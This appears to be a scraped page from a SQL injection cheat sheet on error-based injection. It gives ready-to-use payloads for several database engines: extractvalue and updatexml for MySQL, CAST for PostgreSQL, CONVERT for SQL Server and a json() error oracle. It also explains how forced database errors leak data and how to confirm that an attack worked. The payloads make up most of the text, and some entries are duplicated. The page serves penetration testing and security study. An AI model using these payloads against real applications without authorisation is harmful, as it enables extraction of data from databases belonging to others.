extractvalue()
Error-based
' AND extractvalue(1,concat(0x7e,(VERSION())))-- XPATH error-based extraction.
PayloadsAllTheThings referenceError-based injection extracts data by forcing the database into an error whose message contains the value you asked for. It is ideal when the app shows database errors but does not reflect query rows. The functions are entirely DBMS-specific, so identify the engine first — the groups below give the exact primitive for each one.
How to confirm: The application returns a verbose database error containing your target expression (for example the version string wrapped by the XPATH/convert error), rather than a generic page.
Error-based
' AND extractvalue(1,concat(0x7e,(VERSION())))-- XPATH error-based extraction.
PayloadsAllTheThings referenceError-based
' AND updatexml(1,concat(0x7e,(VERSION())),1)-- XPATH error-based extraction.
PayloadsAllTheThings referenceError-based
' AND CAST((SELECT version()) AS numeric)-- Leaks version in error message.
PayloadsAllTheThings referenceError-based
' AND 1=CONVERT(int,(@@VERSION))-- Forces conversion error with data leak.
PayloadsAllTheThings referenceError-based
' AND CASE WHEN 1=1 THEN 1 ELSE json('') END-- Blind error oracle via malformed JSON.
PayloadsAllTheThings reference